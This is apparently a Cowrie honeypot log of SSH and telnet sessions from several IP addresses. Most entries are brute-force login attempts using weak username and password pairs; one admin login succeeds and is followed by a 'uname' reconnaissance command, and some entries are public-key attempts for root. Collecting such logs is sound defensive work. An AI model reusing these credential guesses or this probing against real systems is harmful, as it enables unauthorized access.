{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:43.874640Z","src_ip":"83.168.110.85","session":"78b0dd76fe8c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:44.166179Z","src_ip":"83.168.110.85","session":"78b0dd76fe8c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:44.170334Z","src_ip":"83.168.110.85","session":"78b0dd76fe8c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:44.305493Z","src_ip":"83.168.110.85","session":"78b0dd76fe8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:44.310899Z","src_ip":"83.168.110.85","session":"78b0dd76fe8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00138568878174,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:44.467390Z","src_ip":"152.42.224.71","session":"ea8a98df2251","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39292,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b141ca76a31","protocol":"ssh","message":"New connection: 83.168.110.85:39292 (10.17.0.5:22) [session: 5b141ca76a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:50.394871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:50.399718Z","src_ip":"83.168.110.85","session":"5b141ca76a31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:50.520681Z","src_ip":"83.168.110.85","session":"5b141ca76a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:50.882258Z","src_ip":"83.168.110.85","session":"5b141ca76a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:52.006755Z","src_ip":"83.168.110.85","session":"5b141ca76a31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":47740,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d7e9025c86e","protocol":"ssh","message":"New connection: 147.45.197.250:47740 (10.17.0.5:22) [session: 2d7e9025c86e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:53.862887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:53.873562Z","src_ip":"147.45.197.250","session":"2d7e9025c86e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:53.967869Z","src_ip":"147.45.197.250","session":"2d7e9025c86e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"020291","message":"login attempt [root/020291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:54.249432Z","src_ip":"147.45.197.250","session":"2d7e9025c86e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:55.348376Z","src_ip":"147.45.197.250","session":"2d7e9025c86e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41184,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e1972a0747f","protocol":"ssh","message":"New connection: 83.168.110.85:41184 (10.17.0.5:22) [session: 4e1972a0747f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:57.151171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:57.156498Z","src_ip":"83.168.110.85","session":"4e1972a0747f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:57.277869Z","src_ip":"83.168.110.85","session":"4e1972a0747f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:57.903099Z","src_ip":"83.168.110.85","session":"4e1972a0747f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:59.029384Z","src_ip":"83.168.110.85","session":"4e1972a0747f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":57552,"dst_ip":"10.17.0.5","dst_port":22,"session":"292771ea81c9","protocol":"ssh","message":"New connection: 51.250.105.222:57552 (10.17.0.5:22) [session: 292771ea81c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:01.910459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:01.918809Z","src_ip":"51.250.105.222","session":"292771ea81c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:02.055053Z","src_ip":"51.250.105.222","session":"292771ea81c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhfcfdbwf","message":"login attempt [root/rhfcfdbwf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:02.456694Z","src_ip":"51.250.105.222","session":"292771ea81c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:03.601625Z","src_ip":"51.250.105.222","session":"292771ea81c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43712,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cdc30a5ec4a","protocol":"ssh","message":"New connection: 83.168.110.85:43712 (10.17.0.5:22) [session: 8cdc30a5ec4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:04.237839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:04.244751Z","src_ip":"83.168.110.85","session":"8cdc30a5ec4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:04.369892Z","src_ip":"83.168.110.85","session":"8cdc30a5ec4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:04.738565Z","src_ip":"83.168.110.85","session":"8cdc30a5ec4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47276,"dst_ip":"10.17.0.5","dst_port":23,"session":"87bbdc692710","protocol":"telnet","message":"New connection: 152.42.224.71:47276 (10.17.0.5:23) [session: 87bbdc692710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:05.548622Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:06.120875Z","src_ip":"83.168.110.85","session":"8cdc30a5ec4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.105.66","src_port":51798,"dst_ip":"10.17.0.5","dst_port":22,"session":"28e9ec78c30b","protocol":"ssh","message":"New connection: 74.48.105.66:51798 (10.17.0.5:22) [session: 28e9ec78c30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:06.757288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:06.781413Z","src_ip":"74.48.105.66","session":"28e9ec78c30b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:06.852987Z","src_ip":"74.48.105.66","session":"28e9ec78c30b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:81:cb:b9:54:a6:a1:81:0a:d9:f8:47:46:b9:7a:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAnbAHwcsBaqpwoJz3LueOTt3Hizvo4V48Z1Hd2BY6VOJzIDCe78H7yhk2EVLyMoOW5Fw89u0Ayfi4Ik/Thp+hMe4BFG3az4E6rAFRh8x/8bQAz5npb1hwGf39T9a4A3nn9Z9/Q6RTPXWAMe2AMwKg+Gu0kEpUkhAwTQgYI88ayaU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:81:cb:b9:54:a6:a1:81:0a:d9:f8:47:46:b9:7a:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:07.172486Z","src_ip":"74.48.105.66","session":"28e9ec78c30b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:81:cb:b9:54:a6:a1:81:0a:d9:f8:47:46:b9:7a:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAnbAHwcsBaqpwoJz3LueOTt3Hizvo4V48Z1Hd2BY6VOJzIDCe78H7yhk2EVLyMoOW5Fw89u0Ayfi4Ik/Thp+hMe4BFG3az4E6rAFRh8x/8bQAz5npb1hwGf39T9a4A3nn9Z9/Q6RTPXWAMe2AMwKg+Gu0kEpUkhAwTQgYI88ayaU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:07.176128Z","src_ip":"74.48.105.66","session":"28e9ec78c30b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:c9:18:81:a4:a8:84:d9:58:cd:a8:11:cb:3f:bb:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmlXeqM/OpLaTJ6T0E4t/6VxMCQsR2XCS9CvcaFuKS4+NLhSBfI9u+QpjbkwuXhuYJdqeEGlofU6qdEqldL+axOmJCOrJsUZnzoSqI3JIxj6McOT+A/4u0QBJFlI2IzhYMZ0Li8UsN5OA0KMFb7fKSZhdyXJGYG46PFG/YnDtUt+QQnU6dyhXahy4SpHA4q01Vr/IR4+QgZ0nk8jud1sPChfv0DXiXiEf5TfJT/6uKJzcN29DEC/U/ciRQnnAJkdhyuZn1UwJ1ZJ1pzCUOE/7REp4oAu0QQYduXMnvwUQaZaRqsi1OTLVOFV99sgxp396c8N7ImBSmArBhot8QjzH/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:c9:18:81:a4:a8:84:d9:58:cd:a8:11:cb:3f:bb:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:07.246427Z","src_ip":"74.48.105.66","session":"28e9ec78c30b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:c9:18:81:a4:a8:84:d9:58:cd:a8:11:cb:3f:bb:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmlXeqM/OpLaTJ6T0E4t/6VxMCQsR2XCS9CvcaFuKS4+NLhSBfI9u+QpjbkwuXhuYJdqeEGlofU6qdEqldL+axOmJCOrJsUZnzoSqI3JIxj6McOT+A/4u0QBJFlI2IzhYMZ0Li8UsN5OA0KMFb7fKSZhdyXJGYG46PFG/YnDtUt+QQnU6dyhXahy4SpHA4q01Vr/IR4+QgZ0nk8jud1sPChfv0DXiXiEf5TfJT/6uKJzcN29DEC/U/ciRQnnAJkdhyuZn1UwJ1ZJ1pzCUOE/7REp4oAu0QQYduXMnvwUQaZaRqsi1OTLVOFV99sgxp396c8N7ImBSmArBhot8QjzH/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:07.250451Z","src_ip":"74.48.105.66","session":"28e9ec78c30b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:97:90:97:65:17:75:b4:75:49:dd:17:99:b6:2e:d6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILyOGshd1tNZVB+PQZetayuPKdFF96VapTUz03/x+6d7","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 98:97:90:97:65:17:75:b4:75:49:dd:17:99:b6:2e:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:07.323678Z","src_ip":"74.48.105.66","session":"28e9ec78c30b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:97:90:97:65:17:75:b4:75:49:dd:17:99:b6:2e:d6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILyOGshd1tNZVB+PQZetayuPKdFF96VapTUz03/x+6d7","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:25:07.328204Z","src_ip":"74.48.105.66","session":"28e9ec78c30b","protocol":"ssh"}
